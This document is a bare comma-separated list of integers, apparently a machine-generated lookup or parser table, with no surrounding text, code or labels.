587,587,587,587,587,587,1531,587,587,587,587,587,587,563,563,563,1910,563,563,563,563,563,563,563,26028,1920,587,587,587,0,1285,1469,1377,541,541,1339,541,541,563,563,1431,563,587,587,1927,587,587,587,587,587,1933,587,587,587,587,587,587,587,1529,587,587,587,587,587,587,587,587,1932,587,587,587,587,587,587,587,587,1494,587,587,587,587,587,587,587,587,587,1946,587,587,587,587,587,587,587,587,587,587,587,587,587,1513,587,587,563,563,2026,587,587,587,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,131072,0,131072,131072,131072,131072,0,131072,131072,131072,131072,131072,131072,131072,0,0,0,0,0,131072,0,131072,1,0,0,0,2042,0,0,0,0,0,0,0,0,0,0,0,0,365,365,365,0,0,2141,0,0,2148,0,0,0,0,0,0,0,0,0,0,0,0,237568,0,0,0,0,0,0,2140,541,541,541,541,541,541,541,541,541,541,541,2170,541,541,2173,541,541,541,541,541,541,2181,541,541,541,541,541,541,541,541,2841,541,541,541,541,541,541,541,541,1294,541,541,541,541,541,541,541,541,1327,541,541,541,1334,1336,541,541,541,541,2214,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2535,541,563,2258,563,563,563,563,563,563,2266,563,563,563,563,563,563,563,983,563,0,587,587,587,587,1001,587,563,2300,563,563,563,563,563,563,563,563,563,563,563,563,563,563,587,587,587,2345,587,587,587,587,587,587,2353,587,587,587,587,587,587,587,1950,587,587,587,587,587,587,587,587,1468,587,587,587,587,587,587,587,587,2387,587,587,587,587,587,587,587,587,587,587,587,587,587,587,541,587,563,2414,541,541,541,541,563,563,563,563,587,587,587,587,2030,0,2032,0,2034,0,2036,0,0,2428,0,0,0,0,0,0,0,0,0,0,1713,0,0,0,0,0,2436,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1179,2449,0,0,0,0,0,2453,0,0,0,0,0,0,0,0,0,0,1726,0,0,0,0,0,0,0,0,0,2477,0,0,0,0,0,0,0,0,0,0,0,0,245760,0,0,0,0,0,2501,0,0,0,0,0,0,0,0,0,0,0,0,0,386,338,0,541,541,541,2539,541,541,541,541,541,541,541,541,541,541,541,541,541,2198,541,541,0,0,0,563,563,563,563,563,563,563,563,563,2595,563,563,563,563,563,3238,563,563,563,563,563,563,563,563,563,563,2880,563,563,563,563,563,587,587,587,2661,587,587,587,587,587,587,587,587,587,587,587,2669,587,587,587,587,2714,587,587,587,587,587,587,541,587,563,541,541,2417,2418,563,563,2421,2422,587,587,2425,2426,0,1563,0,0,0,2735,0,0,0,0,0,0,2740,0,0,0,0,0,0,0,1102,1101,0,0,0,0,0,0,0,0,1724,0,0,0,0,0,0,0,0,1172,0,0,0,0,0,0,0,0,1187,0,0,0,0,0,0,1104,0,0,0,0,0,2763,0,0,0,0,0,0,0,0,0,0,0,2431,2432,0,0,0,0,0,0,0,0,2792,2793,0,0,0,0,0,0,0,0,0,0,2049,0,0,0,0,0,541,541,541,541,2829,541,541,541,541,541,541,541,541,541,541,2836,563,563,563,563,2876,563,563,563,563,563,563,563,563,563,563,563,0,2329,587,587,587,2884,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1874,587,587,2933,587,587,587,587,587,587,587,587,587,587,587,587,587,1536,587,587,2955,541,2957,563,2959,587,0,0,0,0,0,0,0,0,0,0,0,0,0,0,541,541,541,541,541,541,541,587,3442,0,3444,0,0,0,0,0,3180,0,0,0,0,3452,0,0,0,0,0,796,0,0,0,0,0,0,0,0,0,0,0,0,796,0,0,0,0,3454,0,541,3457,541,3459,541,541,541,541,541,541,541,541,541,541,541,541,2585,0,0,0,563,587,3488,587,3490,587,587,587,587,587,587,587,587,587,587,587,1047,587,587,587,587,587,0,0,0,3505,0,0,0,0,0,0,0,3512,0,0,541,541,541,541,541,541,3462,541,541,541,541,541,541,541,541,541,3334,541,541,541,563,563,563,541,541,541,3517,541,541,541,541,541,541,541,541,541,541,563,563,563,563,563,563,563,563,563,563,3530,563,563,563,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,587,3544,587,587,587,587,587,587,587,587,587,587,587,0,0,0,0,541,541,541,541,563,563,310,311,312,0,0,0,0,0,0,0,0,0,0,0,0,0,669,0,0,0,0,0,421,0,0,0,0,450,0,0,0,0,0,0,0,0,304,304,304,304,0,304,304,304,0,0,0,0,450,450,421,450,450,450,450,450,450,450,450,450,450,450,450,450,450,533,450,533,533,533,450,533,533,533,533,450,543,566,543,566,543,543,566,543,590,566,566,566,566,566,566,566,590,590,590,543,590,590,590,590,590,590,590,590,566,566,616,621,590,621,627,1,960,563,563,563,563,563,563,563,563,0,587,587,587,587,587,587,587,3136,587,587,3138,587,587,587,587,587,0,0,0,0,1657,0,0,0,0,0,0,0,0,0,0,0,0,254414,0,0,0,1676,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1211,541,541,541,1810,541,541,541,541,541,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,563,1378,0,0,2486,0,0,0,0,0,0,0,0,0,0,0,0,0,694,0,0,541,541,541,541,2528,541,541,541,541,2532,541,541,541,541,541,541,541,541,3218,541,541,541,541,541,541,541,541,2583,541,541,541,541,0,2586,0,0,0,0,563,563,563,563,563,563,2592,563,563,563,563,2596,563,0,587,587,587,587,587,78115,1079,0,0,0,0,0,0,0,0,0,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,225741,0,0,0,0,0,0,0,2658,587,587,587,587,2662,587,587,587,587,587,587,587,587,587,587,2665,587,587,587,587,587,0,0,0,313,314,315,316,317,318,319,320,321,322,0,0,0,0,0,0,694,0,0,0,0,0,365,365,365,0,0,313,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2142208,0,0,316,0,0,0,0,0,0,0,0,0,0,0,0,0,730,0,0,0,423,431,433,422,431,0,313,431,451,464,464,464,464,464,464,464,464,464,464,464,464,464,464,464,464,464,464,464,485,490,490,501,490,490,490,490,490,490,490,490,516,516,529,529,530,530,530,530,530,530,530,530,530,530,530,516,530,530,530,530,530,544,567,544,567,544,544,567,544,591,567,567,567,567,567,567,567,591,591,591,613,591,591,591,591,591,591,591,614,615,615,613,615,614,615,614,1,734,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1238,0,0,0,0,767,0,0,0,0,0,0,0,0,0,0,0,0,266240,0,0,0,0,0,702,0,0,0,0,0,702,0,0,0,541,541,541,541,541,541,3322,541,541,541,541,541,541,541,541,1816,541,541,541,541,541,541,1360,563,563,563,968,563,563,563,563,563,0,587,587,587,587,587,587,587,3150,3151,3152,541,541,563,563,587,587,0,0,2963,0,0,0,0,0,0,0,0,3180,0,0,3389,0,0,0,0,0,1108,0,0,0,0,0,0,0,0,0,0,0,0,0,0,308,309,0,1150,1108,0,0,0,0,0,0,0,0,0,0,0,0,0,1119,0,0,1212,0,0,0,0,0,0,0,0,0,0,0,0,0,1225,0,0,0,0,0,797,0,0,0,0,0,0,0,0,0,0,0,0,797,0,1360,914,563,563,1364,563,563,1368,563,563,563,563,563,563,563,563,985,0,587,587,587,587,587,587,1382,563,1387,563,563,1391,563,563,1394,563,563,563,563,563,563,563,984,563,0,587,587,587,587,587,1004,587,1460,587,587,587,587,587,587,587,587,1474,587,1479,587,587,1483,587,587,1486,587,587,587,587,587,587,587,587,587,587,587,587,587,1939,587,587,0,1692,0,1694,0,0,0,0,0,0,1701,0,0,0,0,0,0,0,2442,0,0,0,0,0,0,0,0,0,1173,0,0,0,0,0,0,541,541,1745,541,541,541,541,541,541,541,541,541,1757,541,541,541,541,541,541,2192,541,541,2195,541,541,541,541,541,541,541,1798,541,541,541,541,541,541,1806,541,541,1792,1793,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2824,541,0,563,563,563,563,563,563,563,563,563,563,563,563,563,1840,563,0,587,587,587,587,587,78115,1079,0,0,1083,1087,0,0,1091,587,587,587,587,1948,587,587,587,587,587,587,587,587,587,587,587,1478,587,587,587,587,587,587,587,587,1961,587,587,587,587,587,587,587,587,587,587,587,1533,587,587,587,587,0,2034,0,2036,0,0,0,0,0,0,2430,0,0,0,0,0,0,0,2454,0,0,0,0,0,0,0,0,0,2429,0,0,0,0,0,0,0,0,0,2476,0,0,0,0,0,0,0,0,0,0,0,0,365,365,365,702,0,0,0,2502,2503,0,0,0,0,0,0,0,0,0,0,0,0,1147355,0,0,0,587,587,2700,587,587,587,587,587,587,587,587,587,587,587,587,587,2004,587,587,0,0,2802,0,0,0,0,0,0,0,2806,541,541,541,541,541,541,541,2204,541,541,541,541,541,541,541,541,541,2220,541,541,541,541,541,541,541,2956,563,2958,587,2960,0,0,0,0,0,2966,0,0,0,0,0,0,0,69632,73728,0,0,0,350,348,65536,0,0,0,0,2970,0,0,0,0,0,0,0,0,0,0,0,0,365,365,208896,0,3035,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,1807,541,541,3050,3051,541,541,541,541,541,541,541,541,541,541,541,541,541,2223,2224,541,563,3090,563,3092,563,563,563,563,563,563,563,563,563,563,563,563,1415,563,563,563,3117,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1484,587,587,3132,587,3134,587,587,587,587,587,587,587,587,587,587,587,1937,1938,587,587,587,0,3192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,309,308,541,541,541,541,3228,541,541,541,541,563,563,563,563,563,563,563,563,563,945,563,563,563,563,587,3503,0,3504,0,0,0,0,0,0,0,0,0,0,0,541,541,541,541,2810,3515,541,3516,541,541,541,3520,541,541,541,541,541,541,541,563,3528,563,3529,563,563,563,3533,563,563,563,563,563,563,563,563,587,3542,587,3543,587,587,587,3547,587,587,587,587,587,587,587,587,0,0,0,0,3673,541,541,541,3675,563,563,3676,587,587,587,3678,0,0,541,541,563,563,587,587,0,541,541,3204,541,541,541,541,541,541,541,541,541,541,541,541,541,2238,2586,0,324,324,374,0,0,0,0,0,0,0,0,0,0,0,0,0,1133,0,0,0,0,434,374,0,439,445,0,452,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,465,491,491,502,491,491,491,491,491,491,491,491,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,517,545,568,545,568,545,545,568,545,592,568,568,568,568,568,568,568,592,592,592,545,592,592,592,592,592,592,592,592,568,568,545,568,592,568,592,1,587,587,587,1019,587,587,587,587,587,587,587,587,587,587,587,587,1052,587,587,587,1122,0,1124,1125,0,0,0,1127,1128,0,0,0,0,0,0,0,0,334,0,0,0,0,0,334,0,0,0,1166,1167,0,0,0,0,0,0,0,0,0,0,0,0,400,0,0,0,0,0,1228,0,0,0,0,1233,0,0,0,0,0,0,0,0,0,365,300,0,0,0,0,0,0,0,0,0,1241,0,0,0,0,1244,0,1194,0,1113,0,1250,1127,0,0,0,0,0,0,0,0,0,541,541,1274,541,541,541,541,541,541,2203,541,541,541,541,541,541,541,541,541,541,1329,541,541,541,541,541,541,541,1322,541,541,1324,541,541,541,1328,541,541,541,541,541,541,541,541,3522,541,541,541,541,541,563,563,3068,563,563,563,563,563,563,563,563,2603,563,563,563,563,563,563,563,1360,914,563,563,1365,563,563,563,563,563,563,563,563,563,563,563,587,3427,587,587,3429,563,563,563,1405,563,563,563,563,563,563,563,1414,563,563,1416,563,0,587,587,587,1051,587,78115,1079,0,0,0,0,0,0,0,0,1134592,0,0,0,0,0,0,1134592,0,0,0,0,563,563,1420,563,563,563,563,563,563,563,563,563,563,563,563,563,1437,563,563,563,563,563,1444,563,563,563,563,563,26028,1360,988,587,587,1457,587,0,0,0,0,0,0,0,3447,3180,0,0,0,0,0,0,0,1237,0,0,541,541,1273,541,1276,541,0,0,0,1656,0,0,0,0,0,0,0,0,0,0,0,0,541,846,541,541,587,587,587,1993,587,587,587,587,587,587,587,587,587,587,587,587,1496,587,587,587,563,2025,587,587,587,2029,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,1134592,0,0,0,0,0,0,0,0,0,0,1134592,0,0,0,2034,0,0,0,0,0,2036,0,0,0,0,0,2039,0,2078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,331,0,0,0,0,2092,0,0,0,0,0,0,0,0,0,0,0,0,643,0,0,0,541,2172,541,541,541,541,541,541,541,541,541,541,541,541,541,541,0,0,0,541,2188,541,541,541,541,541,541,541,541,541,541,541,541,541,541,0,2240,541,541,541,541,2229,541,2231,541,541,541,541,541,541,541,0,0,0,0,0,0,1146880,0,1146880,0,0,0,0,0,0,0,0,2617344,0,0,0,0,0,2789376,0,0,0,563,563,563,563,563,563,563,563,563,2253,563,563,563,563,0,0,0,0,0,0,587,2654,587,587,587,587,587,587,3135,587,587,587,587,587,587,587,587,587,1530,587,587,587,587,587,587,2257,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,1889,2273,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2272,563,563,563,563,2316,563,2318,563,563,563,563,563,563,563,0,0,0,0,0,0,587,587,587,587,587,587,587,587,587,587,587,587,587,587,541,563,2344,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1516,2360,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1517,587,587,587,587,2403,587,2405,587,587,587,587,587,587,587,541,587,0,0,0,0,0,0,0,3508,0,0,0,0,0,0,541,541,541,541,541,541,3400,541,541,541,2499,0,0,0,0,0,2504,0,0,0,0,0,0,0,0,0,0,2086,2087,0,0,0,0,541,541,2526,2527,541,541,541,541,541,541,541,541,541,541,541,541,541,2237,0,0,541,541,2566,541,541,541,541,541,541,541,541,541,541,541,541,541,541,3046,541,0,0,0,563,563,563,2590,563,2591,563,563,563,563,563,563,563,1411,563,563,563,563,563,563,563,563,1429,563,563,563,563,563,563,563,563,1916,563,563,26028,1921,587,587,587,0,0,0,2761,0,0,0,0,0,0,0,0,0,0,0,0,674,0,0,0,541,541,2837,541,541,541,541,541,541,541,2843,541,541,541,541,541,541,541,2232,541,541,2235,2236,541,541,0,0,563,563,563,2885,563,563,563,563,563,563,563,2891,563,563,563,563,0,0,2329,0,0,0,587,587,587,587,587,587,587,587,587,587,2341,587,587,587,2920,587,587,587,587,587,587,587,587,587,587,587,587,587,587,587,1519,587,587,587,587,3373,587,587,541,541,563,563,587,587,0,0,0,0,0,0,0,0,0,2968,563,587,587,587,587,587,587,3493,587,587,587,587,587,587,587,587,1034,587,587,587,587,587,587,587,326,327,328,0,0,0,0,0,0,0,0,0,0,0,0,0,1161,0,0,0,0,0,325,373,328,372,0,0,0,0,0,0,0,0,0,0,2111,0,0,0,0,0,325,0,0,372,372,402,0,328,0,0,0,0,0,0,0,0,0,365,339,293,0,0,0,0,0,0,325,0,327,0,0,0,453,466,466,466,466,466,466,466,479,466,466,466,466,466,466,466,466,466,466,466,466,492,492,466,492,492,507,509,492,492,507,492,518,518,518,518,518,518,518,518,518,518,518,518,518,518,518,535,518,518,518,518,518,546,569,546,569,546,546,569,546,593,569,569,569,569,569,569,569,593,593,593,546,593,593,593,593,593,593,593,593,569,569,546,569,593,569,593,1,0,0,658,659,0,0,0,0,0,0,0,0,0,0,670,671,0,689,0,0,0,0,0,0,0,0,0,0,365,365,365,0,0,0,0,0,800,0,0,0,0,0,0,0,0,0,0,0,0,718,0,720,0,0,0,0,0,0,727,0,0,0,731,0,0,0,0,0,0,1159168,417,417,0,0,0,0,0,417,0,0,784,0,786,0,0,0,0,0,0,0,0,0,0,0,0,759,0,0,0,0,0,798,0,803,0,806,0,0,0,0,803,806,0,0,0,0,0,0,741,0,0,0,0,0,0,0,0,0,0,0,0,806,806,803,0,0,0,0,0,0,0,786,0,798,0,815,0,0,0,0,0,802,0,0,783,0,0,0,0,802,0,0,0,0,0,0,0,802,0,0,0,0,806,0,707,0,0,823,0,0,0,0,0,823,823,826,0,0,0,786,0,0,0,0,0,835,0,0,0,0,0,0,0,2480,0,0,0,0,0,0,0,0,0,1100,0,0,0,0,0,0,0,0,0,0,784,0,0,0,835,815,835,0,541,541,850,541,541,541,541,541,3052,541,541,541,541,541,541,541,541,3060,541,541,541,541,541,3217,541,541,541,541,541,541,541,3222,541,541,541,541,541,2529,541,541,541,541,541,541,541,541,541,541,541,3043,541,541,541,541,856,541,541,869,541,541,880,541,885,541,541,893,896,901,541,909,563,563,966,969,974,563,982,563,563,0,587,587,587,997,587,1003,587,587,1016,587,587,1027,587,1032,587,587,1040,1043,1048,587,1056,587,0,0,0,0,0,0,3507,0,0,0,0,0,0,0,541,541,541,541,541,3031,541,541,541,541,0,0,0,1110,0,0,0,0,0,0,0,1117,0,0,0,0,0,0,0,69632,73728,0,0,0,421,0,65536,0,0,1137,1138,0,0,0,0,1142,0,0,0,365,365,0,0,0,0,0,0,769,0,0,0,775,776,0,0,0,0,0,0,0,69632,73728,0,0,0,374,0,65536,0,0,1165,0,0,0,0,0,0,0,0,0,0,0,0,0,0,515,522,0,0,1182,741,0,0,0,1134,0,0,0,0,0,0,0,0,0,367,0,0,0,0,0,0,541,541,541,1281,541,541,541,541,541,541,1296,541,541,541,1301,541,541,541,541,541,3229,541,541,541,563,563,563,563,563,563,563,941,563,563,563,563,563,563,1360,914,563,563,563,563,563,563,563,563,563,563,1373,563,563,563,563,563,3249,563,3251,563,563,563,563,563,563,563,563,1852,563,563,563,563,563,563,563,563,563,563,1388,563,563,563,1393,563,563,563,563,563,563,563,563,1451,26028,1360,988,587,587,587,587,587,1485,587,587,587,587,587,587,587,587,587,587,587,587,587,1500,1540,587,587,0,541,587,563,541,541,541,541,541,563,563,563,563,563,563,3477,563,563,563,563,563,563,563,563,1396,563,563,563,563,563,563,563,0,0,1607,1608,1609,0,1611,1612,0,0,0,0,1617,0,0,0,0,0,0,770,0,0,773,0,0,777,0,0,0,0,0,0,796,0,0,0,0,0,541,541,541,541,541,541,563,563,563,563,563,563,933,563,563,947,563,563,563,563,0,0,1639,0,0,1642,0,1644,0,0,0,0,0,1650,1651,0,0,0,0,0,805,0,0,692,0,0,672,0,692,0,810,0,1667,0,0,1669,0,0,0,0,1671,1672,0,0,0,0,0,0,0,2491,2492,0,0,0,0,0,0,0,0,0,2686976,2736128,0,0,2531328,2707456,0,0,0,0,0,1708,0,0,1711,0,0,0,0,0,1715,0,0,0,0,0,0,2134016,0,0,0,0,0,0,0,0,1138688,0,1719,1720,0,0,0,0,0,0,0,0,0,0,0,0,1711,0,0,0,1731,1585,1585,1733,541,1735,541,1736,1737,541,1739,541,541,541,541,541,1310,541,541,541,541,541,541,541,1317,541,541,541,541,541,1748,541,541,541,541,541,541,541,541,541,1759,541,1743,541,541,541,541,541,541,541,541,541,1756,541,541,541,541,541,541,541,3333,541,541,541,541,541,563,563,563,922,926,563,563,563,563,563,563,952,563,957,1760,541,541,541,541,1764,541,1766,541,541,541,541,541,541,541,541,541,889,541,541,541,541,907,541,1774,1775,1777,541,541,541,541,541,541,541,1785,1786,1787,541,541,1790,1791,541,541,541,541,541,541,541,1799,541,541,541,1803,541,541,541,541,541,541,2530,541,541,541,541,541,541,541,541,541,541,1315,541,541,541,541,1320,541,541,541,541,1811,541,541,541,541,541,541,541,541,541,1822,1360,914,563,563,563,563,563,563,563,563,563,563,563,563,563,1379,0,1827,563,1829,563,1830,563,1832,563,1834,563,563,563,1838,563,563,563,563,1390,563,563,563,563,563,563,563,563,563,563,563,2652,0,587,587,587,563,1859,563,1861,563,563,563,563,563,563,563,563,1869,1870,1872,563,0,587,587,1042,587,587,78115,1079,0,0,0,0,0,0,0,0,307,307,307,0,0,0,0,0,1907,563,563,563,563,563,563,563,563,563,1918,26028,0,1923,587,1925,587,1926,587,1928,587,1930,587,587,587,1934,587,587,587,587,587,587,587,3366,587,587,587,587,3367,3368,587,587,587,587,587,1947,587,587,587,587,1951,587,587,587,587,1955,587,1957,587,587,1976,1977,1978,587,587,1981,1982,587,587,587,587,587,587,587,1999,2e3,587,587,587,587,587,587,587,2015,2016,2017,541,2019,541,541,563,2023,1990,587,587,587,1994,587,587,587,587,587,587,587,2003,587,587,587,0,1288,1472,1380,541,541,541,541,541,563,563,563,563,3475,563,563,563,563,563,563,563,563,563,563,2267,563,563,563,563,563,563,2024,563,1982,587,2028,587,0,2030,0,0,0,0,0,2032,0,0,0,0,0,0,2134016,0,0,0,0,0,0,0,746,0,0,0,0,0,2043,0,0,2046,2047,0,0,0,2051,0,0,0,0,0,0,800,0,0,0,0,0,0,0,800,0,0,0,0,541,541,541,541,2090,0,0,0,0,2094,0,0,0,0,0,0,0,0,0,0,0,2456,0,0,0,0,0,0,0,0,1669,0,0,0,0,0,0,0,2113,0,0,2116,0,0,2119,0,0,0,0,0,0,2126,0,2128,0,0,0,0,0,0,0,69632,73728,0,370,370,0,0,65536,370,0,0,0,0,2137,0,0,0,0,0,0,0,0,0,0,0,0,1159168,0,0,0,0,2047,0,2147,0,0,0,0,0,0,0,0,0,0,0,0,1103,1104,1105,1106,0,2158,0,0,541,541,541,541,541,541,541,541,541,541,541,541,541,3329,541,541,541,2174,541,2176,541,541,541,541,541,541,2184,541,2186,541,541,541,541,541,3332,541,541,541,541,541,541,541,563,563,563,3069,563,563,563,563,563,563,563,2212,541,541,541,541,541,541,2219,541,541,541,541,541,541,541,541,541,1312,541,541,541,541,541,541,563,563,2259,563,2261,563,563,563,563,563,563,2269,563,2271,563,563,563,563,1422,563,563,563,563,563,563,563,563,563,563,1438,587,587,2346,587,2348,587,587,587,587,587,587,2356,587,2358,587,587,0,0,0,3634,0,3636,541,541,541,541,541,541,541,563,563,921,563,563,563,563,940,944,950,563,955,563,563,2261,541,2416,541,541,563,2420,563,563,587,2424,587,587,2030,0,2032,0,0,0,2452,0,0,0,0,0,0,0,0,0,0,0,0,1132,0,0,0,0,0,2461,0,0,0,0,0,2466,0,2468,2469,0,0,0,0,0,0,0,69632,73728,0,420,420,0,0,65536,420,0,0,0,0,2488,0,0,0,0,0,0,0,0,0,0,0,0,2179072,2179072,2179072,2179072,0,0,0,0,2516,2468,0,0,0,0,0,2521,0,0,0,541,541,541,541,541,3321,541,541,541,3325,541,541,541,541,541,541,1749,541,541,541,541,541,541,541,541,541,541,2558,541,541,541,541,541,2563,541,541,541,2568,541,541,541,541,541,541,541,2575,541,541,541,541,541,541,2542,541,2544,541,541,541,541,541,541,541,541,563,3411,563,563,3413,563,563,563,541,541,541,541,2580,541,541,541,541,541,541,541,541,0,2586,0,0,0,0,0,812,0,809,792,0,0,814,0,667,0,788,0,0,0,563,563,563,563,563,563,563,563,2594,563,563,563,563,0,2652,0,0,0,0,587,587,587,587,587,587,587,587,587,587,587,587,2342,587,563,2624,563,563,563,563,2628,563,563,563,2633,563,563,563,563,563,563,2629,563,563,563,563,563,563,2636,563,563,563,563,2640,563,563,563,563,563,563,563,563,2646,563,563,563,563,0,2652,0,0,0,0,587,587,587,2656,587,2657,587,587,2660,587,587,587,587,587,587,587,587,587,587,587,587,587,2383,587,587,587,587,2672,587,2674,587,587,587,587,587,587,587,587,587,587,587,1970,587,587,587,587,587,2699,587,587,587,587,587,587,587,2706,587,587,587,587,587,587,587,3375,541,3376,563,3377,587,0,0,0,587,587,2712,587,587,587,587,587,587,587,587,541,587,563,541,541,541,541,563,563,2800,2801,0,0,0,0,0,0,0,0,0,541,541,541,541,541,541,541,541,541,3402,2992,0,0,0,0,0,0,0,0,0,0,0,2992,0,0,0,0,0,0,840,0,0,0,0,0,541,541,541,541,541,541,2166,541,541,541,541,541,0,3022,0,0,0,3025,541,541,541,541,541,541,3032,541,541,541,541,541,541,2570,541,541,541,541,2574,541,541,541,541,541,541,1286,541,541,541,541,541,541,541,541,541,541,1818,541,541,541,541,1360,541,541,3036,541,541,541,541,541,541,541,3042,541,541,541,541,541,541,541,2531,541,541,541,541,541,541,541,541,541,563,3230,563,563,563,3233,563,3048,541,541,541,541,541,541,541,541,541,541,3057,3059,541,541,541,541,541,541,2582,541,541,541,541,541,541,0,2586,0,3062,541,3064,3065,541,563,563,563,563,563,563,3072,563,563,563,563,563,1425,563,563,563,563,563,563,563,563,563,563,2889,563,563,563,563,563,563,563,3076,563,563,563,563,563,563,563,3082,563,563,563,563,563,3088,563,563,3091,563,563,563,563,563,563,563,563,3098,3100,563,563,563,563,563,3342,563,563,563,563,563,563,563,563,563,563,2645,563,563,563,563,563,563,563,3104,563,3106,3107,563,587,587,587,587,587,587,3114,587,587,587,0,1544,1545,1546,541,541,1548,541,541,563,563,1552,563,587,587,3118,587,587,587,587,587,587,587,3124,587,587,587,587,587,587,1998,587,587,587,587,587,587,587,587,587,3551,587,587,3553,587,0,0,3130,587,587,3133,587,587,587,587,587,587,587,587,3140,3142,587,587,0,0,3633,0,0,0,541,541,3638,541,541,541,3642,563,587,587,3146,587,3148,3149,587,541,587,563,541,3154,563,3156,587,3158,0,0,0,0,0,3181,0,3183,0,0,0,0,0,0,0,3190,0,0,0,3193,3194,0,0,0,0,0,0,0,0,0,0,0,0,2200252,2200252,2200252,0,563,563,563,563,3237,563,563,563,563,563,563,563,563,563,563,563,1400,563,563,563,563,563,563,563,3248,563,563,563,563,563,563,563,563,3256,563,563,563,563,563,3352,563,563,563,563,587,587,587,587,587,3358,563,563,563,587,587,587,3261,587,587,587,587,587,587,587,3266,587,0,0,0,0,0,3506,0,0,3509,0,0,0,0,0,541,541,541,541,3662,541,563,563,563,563,3666,563,0,3310,0,0,3313,0,0,0,0,0,0,0,0,0,0,0,0,2200253,151552,2200253,0,587,587,587,3372,587,587,587,541,541,563,563,587,587,0,0,0,0,0,0,0,0,2967,0,0,0,0,0,0,3383,3384,0,3180,0,0,0,0,0,3392,0,0,0,0,0,1097,0,0,0,0,0,0,0,0,0,0,331,382,384,0,0,0,563,3417,563,563,563,563,563,563,563,563,563,587,587,587,587,587,587,587,3115,587,587,587,587,587,587,3433,587,587,587,587,587,587,587,587,587,541,563,3472,563,3474,563,563,563,563,563,563,563,563,563,563,563,563,3243,563,563,563,3470,563,563,563,563,563,563,563,563,563,563,563,563,563,563,3485,563,563,563,563,3532,563,563,563,563,563,563,563,563,563,587,587,3110,587,587,587,587,587,587,587,587,587,587,587,3546,587,587,587,587,587,587,587,587,587,3555,3556,0,0,0,3559,0,0,0,0,0,3565,3566,3567,541,541,541,3570,541,3572,541,541,541,541,3577,3578,3579,563,563,563,3582,563,3584,563,0,587,587,1044,587,587,291,1079,0,0,1082,1086,0,0,1090,563,563,563,3589,3590,3591,3592,587,587,587,3595,587,3597,587,587,587,587,587,1464,587,587,587,1473,587,587,587,587,587,587,1949,587,587,587,587,587,587,587,587,587,2949,587,587,587,541,587,563,587,3602,0,0,0,0,0,0,0,0,0,0,541,541,541,541,541,541,1738,541,541,541,563,3644,563,563,563,3648,563,587,587,3650,587,587,587,3654,587,0,0,0,0,0,0,0,0,3180,0,3449,0,0,0,0,0,0,0,69632,73728,266240,0,0,0,0,65536,0,0,0,0,329,330,0,0,0,0,0,0,0,0,0,0,0,349,0,0,0,0,0,369,0,0,0,0,0,0,0,0,0,0,0,0,0,0,686,0,0,0,0,369,0,0,0,377,379,0,0,0,0,0,0,0,0,1099,0,0,0,0,0,0,0,0,1115,0,0,0,0,0,0,0,0,0,3185,0,0,0,0,0,0,0,0,412,0,0,0,412,69632,73728,0,369,369,0,424,65536,369,0,0,0,369,424,499,503,499,499,508,499,499,499,508,499,424,424,0,330,424,0,0,424,424,0,0,0,0,0,0,0,0,1156,0,0,0,0,0,0,0,0,664,0,0,0,0,0,0,0,0,680,681,0,0,0,0,0,0,424,424,424,424,424,424,424,424,424,424,424,424,424,424,424,424,547,570,547,570,547,547,570,547,594,570,570,570,570,570,570,570,594,594,594,547,594,594,594,594,594,594,594,594,570,570,547,570,594,570,594,1,587,587,587,1020,587,587,587,587,587,587,587,587,587,587,587,587,1954,587,587,587,0,0,1109,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1215,0,0,0,0,0,0,0,0,0,0,0,1226,541,1279,541,541,541,541,541,1291,541,541,541,541,541,541,541,541,541,1351,541,541,541,541,541,541,1360,914,563,563,563,563,563,563,563,563,1371,563,563,563,563,563,563,2643,563,563,563,563,563,563,563,563,563,1866,563,563,563,563,563,563,1383,563,563,563,563,563,563,563,563,563,563,563,563,563,563,563,2286,587,587,1992,587,587,587,587,587,587,587,587,587,587,587,587,587,2411,541,587,563,563,3677,587,587,587,0,0,541,541,563,563,587,587,0,541,3203,541,541,541,3206,541,541,541,541,541,541,541,541,541,541,1313,541,541,541,541,541,425,425,0,0,425,440,0,425,425,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,467,493,493,467,493,493,493,493,493,493,493,493,493,493,493,493,493,493,493,493,548,571,548,571,548,548,571,548,595,571,571,571,571,571,571,571,595,595,595,548,595,595,595,595,595,595,595,595,571,571,548,571,595,571,595,1,0,1213,0,0,0,0,0,0,0,0,0,0,0,0,0,0,732,0,0,0,0,0,1695,0,0,0,0,0,0,0,0,0,0,0,360,0,0,0,0,0,0,0,0,2093,0,0,0,0,0,0,0,0,0,0,0,365,365,0,0,0,2157,0,0,0,541,541,541,541,541,541,541,541,541,541,541,541,3328,541,2201,541,541,541,541,541,541,541,541,541,541,541,541,541,541,541,2200,563,2415,541,541,541,2419,563,563,563,2423,587,587,587,0,0,0,0,0,0,541,541,541,541,541,541,541,563,3067,563,563,563,563,563,563,563,563,563,3253,563,563,563,563,563,563,0,2460,0,0,0,0,0,0,0,0,0,0,0,0,0,0,748,0,0,0,0,0,2791,0,0,0,0,0,0,0,0,0,0,0,365,365,1146,0,0,2943,587,587,587,587,587,587,587,587,587,587,587,587,541,587,563,541,541,0,0,0,0,2971,0,0,0,2975,0,0,0,0,0,2981,0,0,0,0,0,1128,0,0,0,0,0,1233,0,0,0,1265,0,0,0,2994,0,2996,0,0,0,0,0,0,0,0,3004,0,0,0,0,0,1169,0,1171,0,0,0,0,1176,0,0,0,0,0,0,